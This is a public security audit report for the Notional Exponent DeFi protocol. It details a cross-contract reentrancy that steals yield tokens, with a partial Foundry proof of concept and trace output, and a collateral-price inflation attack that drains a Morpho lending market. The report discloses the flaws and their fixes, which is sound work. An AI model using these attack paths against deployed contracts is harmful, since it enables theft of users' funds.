SHERLOCK

Security Review For Notional

Public Audit Contest Prepared For: **Notional**
Lead Security Expert: **xiaoming90**
Date Audited: **July 2 - July 18, 2025**
Final Commit: **892c387**

Introduction

Notional Exponent is a leveraged yield protocol. Notional Exponent enables users to borrow from Morpho to establish leveraged staking, leveraged PT, and leveraged liquidity strategies.

Scope

Repository: notional-finance/notional-v4

Audited Commit: 0096f1f64071cafbf20062a7c092c6ec89c28275

Final Commit: 892c387086245c97fc9a95272e35b6ab8d2933d6

Files:

- src/AbstractYieldStrategy.sol
- src/oracles/AbstractCustomOracle.sol
- src/oracles/AbstractLPOracle.sol
- src/oracles/Curve2TokenOracle.sol
- src/oracles/PendlePTOracle.sol
- src/proxy/AddressRegistry.sol
- src/proxy/Initializable.sol
- src/proxy/TimelockUpgradeableProxy.sol
- src/rewards/AbstractRewardManager.sol
- src/rewards/ConvexRewardManager.sol
- src/rewards/RewardManagerMixin.sol
- src/routers/AbstractLendingRouter.sol
- src/routers/MorphoLendingRouter.sol
- src/single-sided-lp/AbstractSingleSidedLP.sol
- src/single-sided-lp/CurveConvex2Token.sol
- src/staking/AbstractStakingStrategy.sol
- src/staking/PendlePTLib.sol
- src/staking/PendlePT.sol
- src/staking/PendlePT_sUSDe.sol
- src/staking/StakingStrategy.sol
- src/utils/Constants.sol
- src/utils/TokenUtils.sol

- src/utils/TypeConvert.sol
- src/withdraws/AbstractWithdrawRequestManager.sol
- src/withdraws/ClonedCooldownHolder.sol
- src/withdraws/Dinero.sol
- src/withdraws/Ethena.sol
- src/withdraws/EtherFi.sol
- src/withdraws/GenericERC20.sol
- src/withdraws/GenericERC4626.sol
- src/withdraws/Origin.sol

Final Commit Hash

892c387086245c97fc9a95272e35b6ab8d2933d6

Findings

Each issue has an assigned severity:

- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- High issues are directly exploitable security vulnerabilities that need to be fixed.

Issues Found

High	Medium
11	26

Issues Not Fixed and Not Acknowledged

High	Medium
0	0

Security experts who found valid issues

0xBoraichoT
0xDeoGratias
0xKemah
0xPhantom2
0xRstStn
0xShoonya
0xc0ffEE
0xenzo
0xodus
0xpiken
0xzey
Atharv
Audinarey
Bigsam
Bluedragon
BugsBunny
Cybrid
EddiePumpin
HeckerTrieuTien
Hueber
KungFuPanda
Ledger_Patrol
LhoussainePh
Pro_King
Ragnarok
Riceee
SOPROBRO
Schnilch
X0sauce
albahaca0000
almurhasan
aman
anchabadze
auditgpt
boredpukar
bretzel
bube
coffiasd
coin2own
crunter
dan__vinci
dhank
elolpuer
h2134
hard1k
harry
heavyw8t
hgrano
holtzzx
jasonxiale
kangaroo
khaye26
lodelux
mgf15
molaratai
mstpr-brainbot
oxwhite
patitonar
pseudoArtist
rudhra1749
sebar1018
seeques
sergei2340
shiazinho
talfao
theweb3mechanic
tjonair
touristS
underdog
vangrim
wickie
xiaoming90
y4y
yaractf
yoooo
zhuying

Issue H-1: Cross-contract reentrancy allows YIELD_-TOKEN theft for the `GenericERC4626` `WithdrawalRequestManager` variant

Source:
https://github.com/sherlock-audit/2025-06-notional-exponent-judging/issues/73

Found by

0xBoraichoT, KungFuPanda, Ragnarok, talfao

- https://github.com/notional-finance/leveraged-vaults/blob/7e0abc3e118db0abb20c7521c6f53f1762fdf562/contracts/trading/adapters/UniV3Adapter.sol#L60-L72

^ The only validations in-place are the tokenIn and tokenOut sanitizations, but not the whole multihop path though.

NOTE This is the Trading module we have:
https://etherscan.io/address/0x179a2d2408bfbc21b72d59c4a74e5010f07dc823#code

https://etherscan.io/address/0xE592427A0AEce92De3Edee1F18E0157C05861564#code
<-- UniswapV3 router

Description

Since the `WithdrawalRequestManager` allows `onlyVault` operations for multiple different strategy "vaults",..

A combination of a default reentrancy + cross-contract reentrancy is possible...

...Through which `YIELD_TOKEN`s can be drained from the `WithdrawalRequestManager`...

...---> to the yield strategy where the strategy's `depositAsset != WithdrawalRequestManager.STAKE_TOKEN`.

This way, the strategy will record a higher surplus (aka delta) of `YIELD_TOKEN`s in the current `YIELD_TOKEN.balanceOf(address(this))` and will mint more shares to the malicious user's account.

`onlyApprovedVault` permits any caller whitelisted in the `isApprovedVault` mapping:

```
/// @dev Ensures that only approved vaults can initiate withdraw requests.
modifier onlyApprovedVault() {
    if (!isApprovedVault[msg.sender]) revert Unauthorized(msg.sender);
    _;
}
```

Thus, it is possible to steal funds from the `WithdrawalRequestManager` and then burn these `YIELD_TOKEN`s in exchange for deposit underlying staking token assets.

Root cause

A single `WithdrawalRequestManager` permits multiple `AbstractYieldStrategy` instances (aka "whitelisted vaults").

Since neither the `WithdrawalRequestManager.stakeTokens` nor `WithdrawalRequestManager.initiateWithdraw` functions have a `nonReentrant` modifier or an equivalent cross-contract reentrancy protection method, the

```
function _initiateWithdraw(
    address account,
    uint256 yieldTokenAmount,
    uint256 sharesHeld,
    bytes memory data
) internal override virtual returns (uint256 requestId) {
    ERC20(yieldToken).approve(address(withdrawRequestManager), yieldTokenAmount);
    requestId = withdrawRequestManager.initiateWithdraw({ // audit: reentrancy
     ↪  here!!!!
        account: account, yieldTokenAmount: yieldTokenAmount, sharesAmount:
         ↪  sharesHeld, data: data
    });
} // audit: does this affect the yield token balance somehow?

/// @dev By default we can use the withdraw request manager to stake the tokens
function _mintYieldTokens(uint256 assets, address /* receiver */, bytes memory
 ↪  depositData) internal override virtual { // audit: can it be reentered to
 ↪  increase the yieldtoken balance somehow???
    ERC20(asset).approve(address(withdrawRequestManager), assets); // audit:
     ↪  reverts for USDT
    withdrawRequestManager.stakeTokens(address(asset), assets, depositData); //
     ↪  audit malicious data
}
```

```

/// @inheritdoc IWithdrawRequestManager
function stakeTokens(
    address depositToken,
    uint256 amount,
    bytes calldata data // audit
) external override onlyApprovedVault returns (uint256 yieldTokensMinted) { //
 ↪  @audit: should actually be non reentrant I think
    uint256 initialYieldTokenBalance = ERC20(YIELD_TOKEN).balanceOf(address(this));
    ERC20(depositToken).safeTransferFrom(msg.sender, address(this), amount);
    (uint256 stakeTokenAmount, bytes memory stakeData) =
     ↪  _preStakingTrade(depositToken, amount, data); // audit: reenter and call
     ↪  initiateWithdraw from a diffferent vault (i.e., cross-contract reentrancy)
```

```
    _stakeTokens(stakeTokenAmount, stakeData);



    yieldTokensMinted = ERC20(YIELD_TOKEN).balanceOf(address(this)) -
    ↪ initialYieldTokenBalance; // audit: REENTRANCY HERE???
    ERC20(YIELD_TOKEN).safeTransfer(msg.sender, yieldTokensMinted);
}


/// @inheritdoc IWithdrawRequestManager
function initiateWithdraw(
    address account,
    uint256 yieldTokenAmount,
    uint256 sharesAmount,
    bytes calldata data
) external override onlyApprovedVault returns (uint256 requestId) {
    WithdrawRequest storage accountWithdraw =
    ↪ s_accountWithdrawRequest[msg.sender][account];
    if (accountWithdraw.requestId != 0) revert ExistingWithdrawRequest(msg.sender,
    ↪ account, accountWithdraw.requestId);

    // Receive the requested amount of yield tokens from the approved vault.
    ERC20(YIELD_TOKEN).safeTransferFrom(msg.sender, address(this),
    ↪ yieldTokenAmount); // audit: exchanging yieldtoken for the underlying assets

    requestId = _initiateWithdrawImpl(account, yieldTokenAmount, data); // audit:
    ↪ reentrancy here??? through forceWithdraw(...)???
    accountWithdraw.requestId = requestId;
    accountWithdraw.yieldTokenAmount = yieldTokenAmount.toUint120();
    accountWithdraw.sharesAmount = sharesAmount.toUint120();
    s_tokenizedWithdrawRequest[requestId] = TokenizedWithdrawRequest({
        totalYieldTokenAmount: yieldTokenAmount.toUint120(), // audit: may be
        ↪ outdated
        totalWithdraw: 0,
        finalized: false
    });

    emit InitiateWithdrawRequest(account, msg.sender, yieldTokenAmount,
    ↪ sharesAmount, requestId);
}
```

```
/ @dev Used for ERC4626s that can be staked and unstaked on demand without any
↪ additional
/// time constraints.
contract GenericERC4626WithdrawRequestManager is AbstractWithdrawRequestManager {

    uint256 private currentRequestId;
```

```
    mapping(uint256 => uint256) private s_withdrawRequestShares;

    constructor(address _erc4626)
        AbstractWithdrawRequestManager(IERC4626(_erc4626).asset(), _erc4626,
        ↪   IERC4626(_erc4626).asset()) { }

    function _initiateWithdrawImpl(
        address /* account */,
        uint256 sharesToWithdraw,
        bytes calldata /* data */
    ) override internal returns (uint256 requestId) {
        requestId = ++currentRequestId;
        s_withdrawRequestShares[requestId] = sharesToWithdraw;
    }

    function _stakeTokens(uint256 amount, bytes memory /* stakeData */) internal
    ↪   override {
        ERC20(STAKING_TOKEN).approve(address(YIELD_TOKEN), amount);
        IERC4626(YIELD_TOKEN).deposit(amount, address(this));
    }

    function _finalizeWithdrawImpl(
        address /* account */,
        uint256 requestId
    ) internal override returns (uint256 tokensClaimed, bool finalized) {
        uint256 sharesToRedeem = s_withdrawRequestShares[requestId];
        delete s_withdrawRequestShares[requestId];
        tokensClaimed = IERC4626(YIELD_TOKEN).redeem(sharesToRedeem, address(this),
        ↪   address(this));
        finalized = true;
        // audit: increases the yieldtoken balance
    }

    function canFinalizeWithdrawRequest(uint256 /* requestId */) public pure
    ↪   override returns (bool) {
        return true;
    }
}
```

Attack path

When the `WithdrawalRequestManager` is using the `GenericERC4626` functionality variant:..

```
/ @dev Used for ERC4626s that can be staked and unstaked on demand without any
↪   additional
/// time constraints.
contract GenericERC4626WithdrawRequestManager is AbstractWithdrawRequestManager {
```

```
    uint256 private currentRequestId;
    mapping(uint256 => uint256) private s_withdrawRequestShares;

    constructor(address _erc4626)
        AbstractWithdrawRequestManager(IERC4626(_erc4626).asset(), _erc4626,
         ↪  IERC4626(_erc4626).asset()) { }

    function _initiateWithdrawImpl(
        address /* account */,
        uint256 sharesToWithdraw,
        bytes calldata /* data */
    ) override internal returns (uint256 requestId) {
        requestId = ++currentRequestId;
        s_withdrawRequestShares[requestId] = sharesToWithdraw;
    }

    function _stakeTokens(uint256 amount, bytes memory /* stakeData */) internal
     ↪  override {
        ERC20(STAKING_TOKEN).approve(address(YIELD_TOKEN), amount);
        IERC4626(YIELD_TOKEN).deposit(amount, address(this));
    }

    function _finalizeWithdrawImpl(
        address /* account */,
        uint256 requestId
    ) internal override returns (uint256 tokensClaimed, bool finalized) {
        uint256 sharesToRedeem = s_withdrawRequestShares[requestId];
        delete s_withdrawRequestShares[requestId];
        tokensClaimed = IERC4626(YIELD_TOKEN).redeem(sharesToRedeem, address(this),
         ↪  address(this));
        finalized = true;
        // audit: increases the yieldtoken balance
    }

    function canFinalizeWithdrawRequest(uint256 /* requestId */) public pure
     ↪  override returns (bool) {
        return true;
    }
}
```

… The users who request redemptions (via `initiateWithdraw`) just temporarily leave sparse `YIELD_TOKEN`s in the `WithdrawalRequestManager`.

It is a crucial observation needed for proving the validity of the suggested cross-contract reentrancy attack.

External preconditions

Spare `YIELD_TOKEN`s in the `WithdrawalRequestManager`'s `GenericERC4626` variant as a result of other users calling `initateWithdraw` and leaving pending redemption requests.

NOTE **Either through front-running or just proper timing, the attack will be executed before the requester calls `finalizeAndRedeemWithdrawRequest` or `finalizeRequestManual` is called.**

1.

```
    /// @inheritdoc ILendingRouter
function enterPosition(
    address onBehalf,
    address vault,
    uint256 depositAssetAmount,
    uint256 borrowAmount,
    bytes calldata depositData
) public override isAuthorized(onBehalf, vault) {
    _enterPosition(onBehalf, vault, depositAssetAmount, borrowAmount, depositData,
     ↪  address(0));
}

function _enterPosition(
    address onBehalf,
    address vault,
    uint256 depositAssetAmount,
    uint256 borrowAmount,
    bytes memory depositData,
    address migrateFrom
) internal {
    address asset = IYieldStrategy(vault).asset();
    // Cannot enter a position if the account already has a native share balance
    if (IYieldStrategy(vault).balanceOf(onBehalf) > 0) revert CannotEnterPosition();

    if (depositAssetAmount > 0) {
        // Take any margin deposit from the sender initially
        ERC20(asset).safeTransferFrom(msg.sender, address(this),
         ↪  depositAssetAmount);
    }

    if (borrowAmount > 0) {
        _flashBorrowAndEnter(
            onBehalf, vault, asset, depositAssetAmount, borrowAmount, depositData,
             ↪  migrateFrom
        );
    } else {
        _enterOrMigrate(onBehalf, vault, asset, depositAssetAmount, depositData,
         ↪  migrateFrom);
    }
```

```
    ADDRESS_REGISTRY.setPosition(onBehalf, vault); // audit: the vault can be
     ↪  completely permissionless
}

/// @dev Enters a position or migrates shares from a previous lending router
function _enterOrMigrate(
    address onBehalf,
    address vault,
    address asset,
    uint256 assetAmount,
    bytes memory depositData,
    address migrateFrom
) internal returns (uint256 sharesReceived) {
    if (migrateFrom != address(0)) {
        // Allow the previous lending router to repay the debt from assets held
         ↪  here.
        ERC20(asset).checkApprove(migrateFrom, assetAmount);
        sharesReceived = ILendingRouter(migrateFrom).balanceOfCollateral(onBehalf,
         ↪  vault);

        // Must migrate the entire position
        ILendingRouter(migrateFrom).exitPosition(
            onBehalf, vault, address(this), sharesReceived, type(uint256).max,
             ↪  bytes("")
        );
    } else {
        ERC20(asset).approve(vault, assetAmount);
        sharesReceived = IYieldStrategy(vault).mintShares(assetAmount, onBehalf,
         ↪  depositData); // @audit:reentrant
    }

    _supplyCollateral(onBehalf, vault, asset, sharesReceived);
}
```

2.

```
 function mintShares(
    uint256 assetAmount,
    address receiver,
    bytes calldata depositData
) external override onlyLendingRouter setCurrentAccount(receiver) nonReentrant
 ↪  returns (uint256 sharesMinted) {
    // Cannot mint shares if the receiver has an active withdraw request
    if (_isWithdrawRequestPending(receiver)) revert CannotEnterPosition();
    ERC20(asset).safeTransferFrom(t_CurrentLendingRouter, address(this),
     ↪  assetAmount);
    sharesMinted = _mintSharesGivenAssets(assetAmount, depositData, receiver); //
     ↪  audit: unsanitized depositData

    t_AllowTransfer_To = t_CurrentLendingRouter;
```

```
    t_AllowTransfer_Amount = sharesMinted;
    // Transfer the shares to the lending router so it can supply collateral
    _transfer(receiver, t_CurrentLendingRouter, sharesMinted);
}

/// @dev Marked as virtual to allow for RewardManagerMixin to override
function _mintSharesGivenAssets(uint256 assets, bytes memory depositData, address
↪  receiver) internal virtual returns (uint256 sharesMinted) { // audit
    if (assets == 0) return 0;

    // First accrue fees on the yield token
    _accrueFees();
    uint256 initialYieldTokenBalance = _yieldTokenBalance();
    _mintYieldTokens(assets, receiver, depositData); // audit
    uint256 yieldTokensMinted = _yieldTokenBalance() - initialYieldTokenBalance; //
     ↪  audit: can this be manipulated through reentrancy somehow???

    sharesMinted = (yieldTokensMinted * effectiveSupply()) /
     ↪  (initialYieldTokenBalance - feesAccrued() + VIRTUAL_YIELD_TOKENS); //
     ↪  audit: effectiveSupply can be manipulated to become greater than intended
    _mint(receiver, sharesMinted); // audit: reentrant
}
```

3.

```
 /// @dev By default we can use the withdraw request manager to stake the tokens
function _mintYieldTokens(uint256 assets, address /* receiver */, bytes memory
↪  depositData) internal override virtual { // audit: can it be reentered to
↪  increase the yieldtoken balance somehow???
    ERC20(asset).approve(address(withdrawRequestManager), assets); // audit:
     ↪  reverts for USDT
    withdrawRequestManager.stakeTokens(address(asset), assets, depositData); //
     ↪  audit malicious data
}
```

4.

```
function _initiateWithdraw(
    address account,
    uint256 yieldTokenAmount,
    uint256 sharesHeld,
    bytes memory data
) internal override virtual returns (uint256 requestId) {
    ERC20(yieldToken).approve(address(withdrawRequestManager), yieldTokenAmount);
    requestId = withdrawRequestManager.initiateWithdraw({ // audit: reentrancy
     ↪  here!!!!
        account: account, yieldTokenAmount: yieldTokenAmount, sharesAmount:
         ↪  sharesHeld, data: data
    });
```

```
} // audit: does this affect the yield token balance somehow?
```

NOTE The Uniswap multihop trade data should include a malicious swap middle pool to make the reentrancy callback itself even possible.

You can see the e2e PoC at the end of this report.

Internal preconditions

None.

Impact

Theft of other users' funds via stealing `YIELD_TOKEN`s from the pending ERC4626-variant `WithdrawalRequestManager` requests of other users.

```
/// @inheritdoc IYieldStrategy
function initiateWithdraw(
    address account,
    uint256 sharesHeld,
    bytes calldata data
) external onlyLendingRouter setCurrentAccount(account) override returns (uint256
↪  requestId) {
    requestId = _withdraw(account, sharesHeld, data); // audit: lacks nonreentrant
     ↪  modifier
}

/// @inheritdoc IYieldStrategy
/// @dev We do not set the current account here because valuation is not done in
↪  this method. A
/// native balance does not require a collateral check.
function initiateWithdrawNative(
    bytes memory data // audit: lscks nonReentrant, so can reenter exactly here
) external override returns (uint256 requestId) { // audit: lacks the nonReentrant
↪  modifier
    requestId = _withdraw(msg.sender, balanceOf(msg.sender), data); // audit:
     ↪  unsanitized data
}

function _withdraw(address account, uint256 sharesHeld, bytes memory data) internal
↪  returns (uint256 requestId) {
    if (sharesHeld == 0) revert InsufficientSharesHeld();

    // Accrue fees before initiating a withdraw since it will change the effective
     ↪  supply
    _accrueFees();
    uint256 yieldTokenAmount = convertSharesToYieldToken(sharesHeld);
    requestId = _initiateWithdraw(account, yieldTokenAmount, sharesHeld, data);
```

```
    // Escrow the shares after the withdraw since it will change the effective
    ↪ supply
    // during reward claims when using the RewardManagerMixin.
    s_escrowedShares += sharesHeld;

}
```

```
/// @inheritdoc IWithdrawRequestManager
function setApprovedVault(address vault, bool isApproved) external override
↪ onlyOwner {
    isApprovedVault[vault] = isApproved;
    emit ApprovedVault(vault, isApproved);
}

/// @inheritdoc IWithdrawRequestManager
function stakeTokens(
    address depositToken,
    uint256 amount,
    bytes calldata data // audit
) external override onlyApprovedVault returns (uint256 yieldTokensMinted) { //
↪ @audit: should actually be non reentrant I think
    uint256 initialYieldTokenBalance = ERC20(YIELD_TOKEN).balanceOf(address(this));
    ERC20(depositToken).safeTransferFrom(msg.sender, address(this), amount);
    (uint256 stakeTokenAmount, bytes memory stakeData) =
    ↪ _preStakingTrade(depositToken, amount, data); // audit: reenter and call
    ↪ initiateWithdraw from a diffferent vault (i.e., cross-contract reentrancy)
    _stakeTokens(stakeTokenAmount, stakeData);



    yieldTokensMinted = ERC20(YIELD_TOKEN).balanceOf(address(this)) -
    ↪ initialYieldTokenBalance; // audit: non-reliable due to reentrancy
    ERC20(YIELD_TOKEN).safeTransfer(msg.sender, yieldTokensMinted);
}


/// @inheritdoc IWithdrawRequestManager
function initiateWithdraw(
    address account,
    uint256 yieldTokenAmount,
    uint256 sharesAmount,
    bytes calldata data
) external override onlyApprovedVault returns (uint256 requestId) {
    WithdrawRequest storage accountWithdraw =
    ↪ s_accountWithdrawRequest[msg.sender][account];
    if (accountWithdraw.requestId != 0) revert ExistingWithdrawRequest(msg.sender,
    ↪ account, accountWithdraw.requestId);
```

```
    // Receive the requested amount of yield tokens from the approved vault.
    ERC20(YIELD_TOKEN).safeTransferFrom(msg.sender, address(this),
    ↪  yieldTokenAmount); // audit: exchanging yieldtoken for the underlying assets

    requestId = _initiateWithdrawImpl(account, yieldTokenAmount, data); // audit:
    ↪  reentrancy here??? through forceWithdraw(...)???
    accountWithdraw.requestId = requestId;
    accountWithdraw.yieldTokenAmount = yieldTokenAmount.toUint120();
    accountWithdraw.sharesAmount = sharesAmount.toUint120();
    s_tokenizedWithdrawRequest[requestId] = TokenizedWithdrawRequest({
        totalYieldTokenAmount: yieldTokenAmount.toUint120(), // audit: may be
        ↪  outdated
        totalWithdraw: 0,
        finalized: false
    });

    emit InitiateWithdrawRequest(account, msg.sender, yieldTokenAmount,
    ↪  sharesAmount, requestId);
}
```

The only swap path validations are ensuring the first and last tokens match expected values (tokenIn and deUSD in correct order) and a minimum length. This allows an attacker to insert their own malicious token and pool addresses mid-path. During the Uniswap swap, when execution reaches the attacker-controlled pool, the attacker's token contract can execute arbitrary code in its transfer function. By coding this hook to reenter the Jigsaw protocol—specifically, calling HoldingManager.deposit—the attacker can deposit some new tokens before the swap completes.

```
function _exactInBatch(address from, Trade memory trade) private pure returns
↪  (bytes memory) {
    UniV3BatchData memory data = abi.decode(trade.exchangeData, (UniV3BatchData));

    // Validate path EXACT_IN = [sellToken, fee, ... buyToken]
    require(32 <= data.path.length);
    require(_toAddress(data.path, 0) == _getTokenAddress(trade.sellToken));
    require(_toAddress(data.path, data.path.length - 20) ==
    ↪  _getTokenAddress(trade.buyToken));

    ISwapRouter.ExactInputParams memory params = ISwapRouter.ExactInputParams(
        data.path, from, trade.deadline, trade.amount, trade.limit
    );

    return abi.encodeWithSelector(ISwapRouter.exactInput.selector, params);
}
```

```
function _getExecutionData(
    uint16 dexId,
    address from,
    Trade memory trade
```

```
)
    internal
    pure
    returns (
        address spender,
        address target,
        uint256 msgValue,
        bytes memory executionCallData
    )
{
    if (trade.buyToken == trade.sellToken) revert SellTokenEqualsBuyToken();

    if (DexId(dexId) == DexId.UNISWAP_V3) {
        return UniV3Adapter.getExecutionData(from, trade);
    } else if (DexId(dexId) == DexId.BALANCER_V2) {
```

```
/// @dev Initiates a withdraw request for the vault shares held by the account
function _initiateWithdraw(
    address vault,
    address account,
    bytes calldata data
) internal returns (uint256 requestId) {
    uint256 sharesHeld = balanceOfCollateral(account, vault);
    if (sharesHeld == 0) revert InsufficientSharesHeld();
    return IYieldStrategy(vault).initiateWithdraw(account, sharesHeld, data); //
     ↪  audit
}
```

PoC

To run the real coded PoC you need to first modify the `AbstractStakingStrategy` and the `MorphoLendingRouter` contracts in such a way that all direct `asset.approve(...)` are replaced with either the custom safe `.checkApprove` or `.safeApprove` or `.forceApprove`.

In other words, you just need to fix this another USDT incompatibility error first.

```
    p.createPoolAndMint(PoolCreator.CreateArgs({
        tokenA: IERC20(tokenIn),
        tokenAAmount: 1e6,
        tokenB: fakeToken,
        tokenBAmount: 1000e18,
        fee: poolFee,
        factory:
         ↪  IUniswapV3Factory(IPeripheryImmutableState(uniswapRouter).factory())
    }));
    vm.stopPrank();
}
```

```
HackCode code = new HackCode(manager, IERC20(tokenIn));

// Since the holder's user cannot be a contract, the attacker has to resort to
// https://eips.ethereum.org/EIPS/eip-7702 .
// They can set a pointer in their EOA pointing to the code.
// Since this EIP is not yet supported in Foundry, we'll emulate it with vm.etch:
deal(tokenIn, user, 100e6, true);
vm.etch(user, address(code).code);
fakeToken.callme(user);

bytes memory dataClaimInvest = abi.encode(
    amount * 99 / 100, // amountOutMinimum
    uint256(block.timestamp), // deadline
    abi.encodePacked(deUSD, poolFee, USDC, poolFee, tokenIn,
        // note how the control is temporary transferred to the attacker's token:
        poolFee, fakeToken, poolFee, tokenIn)
);
```

You can see more tokens are minted that intended:

With the attack:

```
                 ← [Return] 50292400900908 [5.029e13]
             [23036] ERC4626Mock::transfer(StakingStrategy:
↪   [0xc7183455a4C133Ae270771860664b6B7ec320bB1], 50092400904714 [5.009e13])
                 emit Transfer(from: GenericERC4626WithdrawRequestManager:
↪   [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], to: StakingStrategy:
↪   [0xc7183455a4C133Ae270771860664b6B7ec320bB1], value: 50092400904714 [5.009e13])
                  storage changes:
                   @
↪   0xb3024e141922907eb80bf787d622b0c592108908135c35e38e6ebb7d5636f1e4:
↪   0x00000000000000000000000000000000000000000000000000002dbd9cb0cb2c →
↪   0x000000000000000000000000000000000000000000000000000000002e90edc122
                   @
↪   0x8e945654193bec28956c368b451931aae1dd2f910b3127995a9fc7169f7ea4d1: 0 →
↪   0x00000000000000000000000000000000000000000000000000002d8f0bc30a0a
                 ← [Return] true
             emit DeltaYieldToken(_delta: 50092400904714 [5.009e13])
```

Without the attack enabled:

```
             [548] ERC4626Mock::balanceOf(GenericERC4626WithdrawRequestManager:
↪   [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a]) [staticcall]
                 ← [Return] 50192400902810 [5.019e13]
             [23036] ERC4626Mock::transfer(StakingStrategy:
↪   [0xc7183455a4C133Ae270771860664b6B7ec320bB1], 49992400906616 [4.999e13])
                 emit Transfer(from: GenericERC4626WithdrawRequestManager:
↪   [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], to: StakingStrategy:
↪   [0xc7183455a4C133Ae270771860664b6B7ec320bB1], value: 49992400906616 [4.999e13])
```

```
                storage changes:
                @
↪ 0xb3024e141922907eb80bf787d622b0c592108908135c35e38e6ebb7d5636f1e4:
↪ 0x000000000000000000000000000000000000000000000000000002da65439ea9a →
↪ 0x000000000000000000000000000000000000000000000000000002e90edc122
                @
↪ 0x8e945654193bec28956c368b451931aae1dd2f910b3127995a9fc7169f7ea4d1: 0 →
↪ 0x000000000000000000000000000000000000000000000000000002d77c34c2978
              ← [Return] true
          emit DeltaYieldToken(_delta: 49992400906616 [4.999e13])
```

The difference is **EXACTLY** the `99999998098` shares transferred during the reentrant swap callback via `initiateWithdraw` (i.e., `50092400904714-99999998098 = 4.99924009e13`.

You can see that more shares are minted than the deposit is really worth.

This can be maximized by targeting `forceWithdraw` to make an artificially earned delta even greater!

See my Gist PoC here:

https://gist.github.com/c-plus-plus-equals-c-plus-one/500a3df82f34eb894db54a4e619fcfed

Mitigation

The ”before balance” state accounting hould be captured **after** the `_preStakingTrade` call:

```
    /// @inheritdoc IWithdrawRequestManager
    function stakeTokens(
        address depositToken,
        uint256 amount,
        bytes calldata data // audit
    ) external override onlyApprovedVault returns (uint256 yieldTokensMinted) { //
     ↪ @audit: should actually be non reentrant I think
-       uint256 initialYieldTokenBalance =
↪ ERC20(YIELD_TOKEN).balanceOf(address(this));
        ERC20(depositToken).safeTransferFrom(msg.sender, address(this), amount);
        (uint256 stakeTokenAmount, bytes memory stakeData) =
         ↪ _preStakingTrade(depositToken, amount, data); // audit: reenter and
         ↪ call initiateWithdraw from a diffferent vault (i.e., cross-contract
         ↪ reentrancy)
+       uint256 initialYieldTokenBalance =
↪ ERC20(YIELD_TOKEN).balanceOf(address(this));
        _stakeTokens(stakeTokenAmount, stakeData);
```

```
        yieldTokensMinted = ERC20(YIELD_TOKEN).balanceOf(address(this)) -
        ↪  initialYieldTokenBalance; // audit: REENTRANCY HERE???
        ERC20(YIELD_TOKEN).safeTransfer(msg.sender, yieldTokensMinted);
    }
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/notional-finance/notional-v4/pull/34

Issue H-2: Attacker can drain the entire suppliers on Morpho market by inflating collateral price

Source:
https://github.com/sherlock-audit/2025-06-notional-exponent-judging/issues/214

Found by

mstpr-brainbot

Summary

When `initiateWithdraw()` is called, the user's collateral in Morpho (i.e., their shares) is **not burned**, but the underlying LP tokens are used to initiate a withdrawal request. At the same time, the `effectiveSupply()` **is decreased** due to the shares being escrowed.

This means the user can **donate yield tokens to the strategy** and artificially **inflate the collateral price on Morpho**, while their original deposit remains safely **secured in the withdrawal process** untouched and retrievable.

Root Cause

https://github.com/sherlock-audit/2025-06-notional-exponent/blob/82c87105f6b32bb362d7523356f235b5b07509f9/notional-v4/src/AbstractYieldStrategy.sol#L280-L307

We can see that when `initiateWithdraw()` is called, the user's assets are registered as a withdrawal request in the `WithdrawRequestManager`, and `s_escrowedShares` is increased.

Since the shares are not burned, `totalSupply()` remains the same before and after the `initiateWithdraw` call. However, because `escrowedShares` increases, the `effectiveSupply()` becomes smaller:
https://github.com/sherlock-audit/2025-06-notional-exponent/blob/82c87105f6b32bb362d7523356f235b5b07509f9/notional-v4/src/AbstractYieldStrategy.sol#L149-L151

If the user holds a significant amount of shares, they can initiate a withdrawal, drastically reducing the `effectiveSupply()`. While the minimum `effectiveSupply()` is bounded by `VIRTUAL_SHARES` (set to 1e6), this still opens up a vulnerability.

The next step is to look at how `price()` is calculated in the YieldStrategy (Shares) contract. When users borrow in Morpho, the Morpho oracle (which is the YieldStrategy contract) calls `price()` to determine the value of 1 collateral token in terms of the loan token:
https://github.com/sherlock-audit/2025-06-notional-exponent/blob/82c87105f6b32bb362d7523356f235b5b07509f9/notional-v4/src/AbstractYieldStrategy.sol#L118-L120

Since `Morpho.borrow()` can be called directly without going through the LendingRouter, the transient variables are not used. Therefore, the overridden `convertToAssets()`

method that depends on transient state is skipped, and the base `super.convertToAssets()` is used instead: https://github.com/sherlock-audit/2025-06-notional-exponent/blob/82c87105f6b32bb362d7523356f235b5b07509f9/notional-v4/src/single-sided-lp/AbstractSingleSidedLP.sol#L300-L303

Now, the critical part is how `convertToAssets()` is calculated:

```
function convertToAssets(uint256 shares) public view virtual override returns
↪   (uint256) {
    uint256 yieldTokens = convertSharesToYieldToken(shares);
    return (yieldTokens * convertYieldTokenToAsset() * (10 ** _assetDecimals)) /
        (10 ** (_yieldTokenDecimals + DEFAULT_DECIMALS));
}

function convertSharesToYieldToken(uint256 shares) public view override returns
↪   (uint256) {
    return (shares * (_yieldTokenBalance() - feesAccrued() + VIRTUAL_YIELD_TOKENS))
    ↪   / effectiveSupply();
}

function convertYieldTokenToShares(uint256 yieldTokens) public view returns
↪   (uint256) {
    return (yieldTokens * effectiveSupply()) / (_yieldTokenBalance() -
    ↪   feesAccrued() + VIRTUAL_YIELD_TOKENS);
}
```

If an attacker donates, say, `1e18` of the yield token to the contract, then the `convertSharesToYieldToken()` for `1e24` shares would compute as:

$$\frac{1e24 \cdot (1e18 - \text{fees} + 1e6)}{1e6} \approx \text{HUGE value} - \text{ 1e36 precision}$$

Given that `convertYieldTokenToAsset()` always returns `1e18` (i.e., DEFAULT_PRECISION), the final `convertToAssets()` result becomes:

$$1e36 \cdot 1e18 \cdot 1e18/1e36 = 1e36$$

This is extremely large.

Since Morpho calculates `maxBorrow = collateral * price() * LTV / 1e36`, and:

- the collateral is on the order of `1e24` (e.g., shares)
- the `price()` returns `1e36`

the result is:

$$\frac{1e24 \cdot 1e36}{1e36} = 1e24$$

which means the user can borrow **up to 1e24 units** of the loan token – essentially **draining the entire USDC market** if the loan token uses 6 decimals.

Crucially, the attacker only loses the `1e18` donation of the yield token – which inflated the `price()` – and they can still finalize their withdrawal request and reclaim their original shares.

Internal Pre-conditions

1. User has significant share of the YieldStrategy such that withdrawing all and donating would increase the rate

External Pre-conditions

None needed

Attack Path

1. initiateWithdraw() on YieldStrategy
2. donate some yieldToken to YieldStrategy
